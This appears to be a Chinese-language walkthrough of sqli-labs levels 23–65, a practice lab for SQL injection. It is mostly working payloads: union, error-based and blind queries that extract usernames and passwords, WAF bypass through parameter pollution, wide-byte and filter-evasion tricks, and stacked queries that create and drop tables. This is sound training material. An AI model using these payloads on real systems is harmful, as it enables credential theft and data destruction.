文章目录
- SQL-labs 23-65
- Less-23(基于过滤的GET注入)
- Less-24(二次注入)
- Less 25
- Less-25a
- Less-26
- Less-26a
- Less-27
- Less-27a
- Less-28
- Less-28a
- Less-29(双服务器)
- Less-30
- Less-31
- Less-32(宽字节注入)
- Less-33
- Less-34
- Less-35
- Less-36
- Less-37
- Less-38(堆叠注入)
- Less-39
- Less-40
- Less-41
- Less-42
- Less-43
- Less-44
- Less-45
- Less-46(order by注入)
- Less-47
- Less-48
- Less-49
- Less-50
- Less-51
- Less-52
- Less-53
- Less-54
- Less-55
- Less-56
- Less-57
- Less-58
- Less-59
- Less-60
- Less-61
- Less-62
- Less-63
- Less-64
- Less-65
SQL-labs 23-65
Less-23(基于过滤的GET注入)
-
输入
?id=1
回显正常 -
?id=1'
回显错误 -
?id=1' and 1=1#
回显错误查看源代码
发现对注释符等进行了过滤,只能采用单引号闭合的方法绕过
- 输入
?id=1' and '1'='1
-
构造语句,获取数据库
id=-1' union select 1,database(),3 or '1'='1
或者
?id=-1' or extractvalue(1,concat(101,database(),101)) or '1'='1
->报错注入
-
获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 or '1'='1
-
获取字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 or'1'='1
-
获取数据
?id=-1' union select 1,(select group_concat(username,password) from users),3 or '1'='1
Less-24(二次注入)
二次注入是指客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令信息。虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,这样就可以利用这个构造一个二次注入。
二次注入也称为存储型的注入,就是将可能导致SQL注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发SQL注入二次排序注入思。
普通注入和二次注入的区别
- 一次注入原理
(1)一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;
(2)攻击者在http请求中提交非法输入;
(3)应用程序处理非法输入,使用非法输入构造SQL语句;
(4)在攻击过程中向攻击者返回结果。
- 二次注入原理:
(1)攻击者在http请求中提交恶意输入;
(2)恶意输入保存在数据库中;
(3)攻击者提交第二次http请求;
(4)为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;
(5)如果攻击成功,在第二次请求响应中返回结果。
防御:
(1)对外部提交数据谨慎
(2)从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别。
-
登录普通用户admin-admin
-
创建一个用于注入的恶意用户admin‘#-123456
目的:利用注释更改正常用户admin-admin的账户和密码
-
修改恶意用户密码为654321
-
通过admin-654321登录,发现可以登陆成功
Less 25
本关有源码可知,闭合点为单引号,将or和AND替换成了空格。故使用联合查询和报错查询
-
判断注入点
?id=-1 --+
-
判断列数
?id=-1’ order by 3 --+ 发现把or过滤掉了
于是构造?id=-1’ oorrder by 3 --+
-
查看回显位
?id=-1’ union select 1,2,3 --+
-
爆库
?id=-1’ union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata --+
-
爆表
?id=-1’ union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=“security”–+
-
爆字段
?id=-1’ union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name=“users”–+
-
爆数据
?id=-1’ union select 1,group_concat(username,0x5c,passwoorrd),3 from users --+
Less-25a
本关和25关一样,但过滤了注释符和or和AND,不需要闭合,整数型,盲注(也可其他)
-
数据库长度
?id=1 aandnd length((select database()))=8–+
-
猜数据库名:
?id=1 aandnd ascii(substr((select database()),1,1))=115–+
Less-26
由源码可知,本关过滤了# or and /**/ / \ ,通过判断也过滤了空格
不用闭合,此关为整数型
大佬思路:对于绕过空格限制有大把的方式对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
可惜个个都用不了,最后查到说是因为window下apache解析的问题,既然编码绕过不行,那就尝试用()来绕过
-
爆库
?id=1’||extractvalue(1,concat(0x5c,database()))||‘1’='1
-
爆表
?id=1’||extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=“security”))))||‘1’='1
-
爆字段
?id=1’||extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=“users”))))||‘1’='1
-
爆数据
?id=1’||extractvalue(1,concat(0x5c,(select(group_concat(username))from(users))))||‘1’='1
Less-26a
过滤规则和26关一样,闭合方式为单引号括号闭合
Less-27
本关过滤的字符添加了union select,单引号闭合,采用报错注入的方式
-
判断注入:单引号闭合
-
爆库
?id=1’||extractvalue(1,concat(0x5c,mid((sEleCt(group_concat(schema_name))from(information_schema.schemata)),1),0x5c))||‘1’='1
由于显示长度有限,要想查询出所有库名要用mid或者substr函数遍历。
-
爆表
?id=1’||extractvalue(1,concat(0x5c,substr((sEleCt(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1),0x5c))||‘1’='1
-
爆字段
?id=1’||extractvalue(1,concat(0x5c,substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_name=“users”)),1),0x5c))||‘1’='1
-
爆数据
?id=1’||extractvalue(1,concat(0x5c,substr((sEleCt(group_concat(username,0x5c,password))from(users)),1),0x5c))||‘1’='1
Less-27a
本关过滤规则与27关相同,双引号闭合,盲注(也可其他)
-
猜数据库长度
?id=-1"||length((database()))="8
-
猜数据库名
?id=-1"||substr( (database()),1,1 )="s
-
猜数据表:
?id=-1"||if((substr((seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1)=“e”),1,sleep(5) )||2="1
Less-28
由源码可知,本关依然过滤了一些关键字,单引号括号闭合
源码中
\s
表示空白字符空格、制表符、换页符等,/i
表示忽略大小写。
绕过方式:?id=-1’)union(select%0d1,2,'3
-
爆库
?id=0’)%0buniOn%0bsElEct%0b1,database(),3%0bor%0b(‘1’)=('1
-
爆表
?id=0’)%0bunion%0bselect%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=‘security’%0b%26%26%0b(‘1’)=('1
-
爆字段
?id=0’)%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=‘security’%0bAnd%0btable_name=‘users’%0b%26%26%0b(‘1’)=('1
-
爆数据
?id=0’)%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b(‘1’)=('1
Less-28a
本关只过滤了union select,单引号括号闭合
Less-29(双服务器)
自此关进入防火墙关卡
相关知识点
服务器端有两个部分:
第一部分为 tomcat 为引擎的 jsp 型服务器
第二部分为 apache 为引擎的 php 服务器
真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器, 能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回 路径则相反。
重点:index.php?id=1&id=2,你猜猜到底是显示 id=1 的数据还是显示 id=2 的? Explain:apache(php)解析最后一个参数,即显示 id=2 的内容。Tomcat(jsp)解析第 一个参数,即显示 id=1 的内容。
Q:index.jsp?id=1&id=2 请求,针对第一张图中的服务器配置情况, 客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 去请求 apache(php) 服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?
A:此处应该是 id=2 的内容,因为实际上提供服务的是 apache(php)服务器, 返回的数据也应该是 apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况, 那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一 个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就 是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客 户端都能够造成一定的威胁。
-
判断注入
login.php?id=1’
提示:WAF成功阻挡攻击
说明此时的参数被WAF阻挡,此时加入第二个参数
login.php?id=1&id=1’ 报错
login.php?id=1&id=1’ --+ 注释后回显正常,故存在注入
-
判断列数
login.php?id=1&id=-1’ order by 3 --+
-
判断回显(联合查询)
其余步骤与Less-1相同,不再赘述
Less-30
本关与29关类似,只是闭合方式为双引号闭合
Less-31
与前两关相同,此关闭合方式为双引号括号
Less-32(宽字节注入)
在mysql中,用于转义(即在字符串中的符号前加上”\”)的函数有
addslashes
,mysql_real_escape_string
,mysql_escape_string
等,还有一种情况是magic_quote_gpc
,不过高版本的PHP将去除这个特性。
何为宽字节?
- 当某字符的大小为一个字节时,称其字符为窄字节.
- 当某字符的大小为两个字节时,称其字符为宽字节.
- 所有英文默认占一个字节,汉字占两个字节
- 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
这里有两个思路,第一个我们自己再添加一个斜杠\把系统添加的\转义,但是这里会在我们添加的\前面还会再添加两个个\把我们的\和’一起给转义了…
注入思路
当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用
注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字
就比如在单引号前面输入一个%df这样进入系统就变成%df%5c%27,但是因为mysql使用的宽字节编码会把%df%5c当做一个汉字,所以就把\给注释掉了
-
判断注入
?id=1%df’ 报错
?id=1%df’ --+ 正常
故为单引号闭合
-
爆库
?id=-1%df’ union select 1,2,database() --+
-
爆表
?id=-1%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-
爆字段
?id=-1%df’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
将users进行hex编码可绕过’单引号
-
爆数据
?id=-1%df’ union select 1,group_concat(username,0x5c,password),3 from users --+
Less-33
本关和Less-32一模一样,不再赘述
Less-34
本关的请求方式为POST
Less-35
本关为数字型注入,不需要闭合
-
爆库
?id=-1 union select 1,2,database()–+
-
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
-
爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
-
爆数据
?id=-1 union select 1,2,group_concat(username,0x5c,password) from users–+
Less-36
这关就是浏览器输入的值经过mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
-
\x00
-
\n
-
\r
-
\
-
’
-
"
-
\x1a
就是被转义的关键字比较多,其实还是阔以用之前32关的宽字符注入来做,一样的payload
Less-37
本关和Less-34类似,也是POST请求方式,相同的payload
Less-38(堆叠注入)
相关知识点
-
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
-
原理: 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入,通过这个漏洞我们可以对数据库执行任意的操作。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
-
局限性:堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
解题步骤
-
判断注入
本关为单引号闭合
-
构造下列语句
新建一张表 ?id=1';create table HJY like users;--+ 把 users 表中的数据插入新的表中 ?id=1';insert into HJY select * from users;--+ 把新建的表的所有记录删掉 ?id=1';delete from HJY;--+ 把新建的表删掉 ?id=1';drop table HJY;--+
Less-39
同Less-38,本关为整数型
Less-40
同Less-38,本关为单引号括号闭合
Less-41
同Less-38,本关为整数型
Less-42
本关为POST传参
在用户名框内尝试万能密码,全部登陆失败,说明用户名参数注入时存在过滤
1 or 1 = 1#
a' or 1 = 1#
a') or 1 = 1#
a')) or 1 = 1#
a" or 1 = 1#
a") or 1 = 1#
a")) or 1 = 1#
在密码框内尝试万能密码,使用单引号闭合式登陆成功,说明存在单引号闭合的字符型注入
a' OR 1 = 1#
大佬思路:可以在已知某个用户的用户名的条件下使用万能密码夺取用户,也可以使用二次注入进行攻击。由于密码参数没有进行防御,可以在该字段测试堆叠注入。使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
-
注入语句
a' OR 1 = 1;create table HJY like users;# a' OR 1 = 1;insert into HJY select * users;# a' OR 1 = 1;delete from HJY;# a' OR 1 = 1;drop table HJY;#
Less-43
同Less-42,用户名参数注入时存在过滤,密码字段存在单引号括号闭合的字符型注入
Less-44
同上,用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入
Less-45
同上,用户名参数注入时存在过滤,密码字段存在单引号括号闭合的字符型注入
Less-46(order by注入)
-
判断注入
根据提示,输入
?sort=1
,改变sort的值,输入?id=2
,返回的列表是根据该表的第sort列进行排列,接下来,对sort参数进行闭合,发现不管以何种方式进行闭合,网页回显均错误,由此可知,本关为整数型注入 -
爆库
?sort=1 and updatexml(1,concat(’~’,database()),2) --+
-
爆表
?sort=1 and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),2) --+
-
爆字段
?sort=1 and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),2) --+
-
爆数据
?sort=1 and updatexml(1,concat(’~’,(select group_concat(username,0x5c,password) from users)),2) --+
Less-47
同Less-46,闭合方式为单引号闭合
Less-48
-
判断注入
本关为数值型注入
-
爆库
?sort=1 and if(length(database())=8,1,sleep(3)) --+
?sort=1 and if(left((select database()), 1)=‘s’,1,sleep(3)) --+
?sort=1 and if(left((select database()), 8)=‘security’,1,sleep(3)) --+
-
爆表
?sort=1 and if((length((select table_name from information_schema.tables where table_schema = database() limit 0,1)))=6,1,sleep(3)) --+
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101,1,sleep(3)) --+
-
爆字段
?sort=1 and if((length((select column_name from information_schema.columns where table_name=‘security’ limit 0,1))) = 6,1,sleep(3)) --+
?sort=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=‘security’ limit 0,1),1,1)) = 101,1,sleep(3)) --+
-
爆数据
?sort=1 and ascii(substr((select username from users limit 0,1),1,1)) = 68
Less-49
同Less-49,闭合方式为单引号闭合
Less-50
本关为堆叠注入,可参照Less-38
-
判断注入
本关为整数型注入
-
注入语句
?sort=1;create table HJY like users;--+ ?sort=1;insert into HJY select * from users;--+ ?sort=1;delete from HJY;--+ ?sort=1;drop table HJY;--+
Less-51
-
判断注入
本关为单引号包裹的字符型注入
-
注入语句
?sort=1';create table HJY like users;--+ ?sort=1';insert into HJY select * from users;--+ ?sort=1';delete from HJY;--+ ?sort=1';drop table HJY;--+
Less-52
-
判断注入
本关为数值型盲注
-
构造语句
?sort=1;create table HJY like users;--+ ?sort=1;insert into HJY select * from users;--+ ?sort=1;delete from HJY;--+ ?sort=1;drop table HJY;--+
Less-53
-
判断注入
本关为单引号闭合的字符型盲注
-
构造语句
?sort=1';create table HJY like users;--+ ?sort=1';insert into HJY select * from users;--+ ?sort=1';delete from HJY;--+ ?sort=1';drop table HJY;--+
Less-54
自本关往后要求在限定步数内完成注入,没有新的知识需要学习。
-
判断注入
本关为单引号包裹的字符型注入
-
爆库
id=-1’ union select 1,version(),database()–+
-
爆表
id=-1’ union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=‘challenges’–+
-
爆字段
id=-1’ union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name=‘D9F34LL2SG’–+
-
爆数据
?id=-1’ union select 1,group_concat(id,0x5c,sessid,0x5c,secret_UMF0,0x5c,tryy),3 from challenges.D9F34LL2SG --+
Less-55
同Less-54,闭合方式为括号闭合,查询次数为14次
Less-56
同上,闭合方式为单引号括号闭合
Less-57
同上,闭合方式为双引号闭合
Less-58
-
判断注入
单引号包裹的字符型注入
-
爆库
id=-1’ and updatexml(1,concat(0x5c,(select database())),1) --+
-
爆表
id=-1’ and updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=‘challenges’)),1) --+
-
爆字段
?id=-1’ and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name=‘XVPZHP0M3W’)),1) --+
-
爆数据
?id=-1’ and updatexml(1,concat(0x5c,(select group_concat(id,0x5c,sessid,0x5c,secret_MKT9,0x5c,tryy) from challenges.XVPZHP0M3W)),1) --+
Less-59
同Less-58,本关为整数型注入,其余同上
Less-60
同Less-58,本关为双引号括号闭合,其余同上
Less-61
同Less-58,本关为'))'
闭合,其余同上
Less-62
-
判断注入
本关为
')'
包裹 -
?id=-1’) union select 1,2,3 --+ 页面无显示
?id=1’) and sleep(5) --+ 页面有延迟,说明可以进行时间注入,猜测错误,页面回显有延迟?id=1’) and if(length(database())=9,1,sleep(3)) --+
?id=1’) and if(left((select database()),8)=‘challenge’,1,sleep(3)) --+
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0,1))=105,1,sleep(5)) --+
最后猜测结果为:ip0m86r2to
其余步骤不多赘述
Less-63
同Less-62,闭合方式为'
闭合,其余同上
Less-64
同Less-62,闭合方式为))
闭合,其余同上
Less-65
同Less-62,闭合方式为")
闭合,其余同上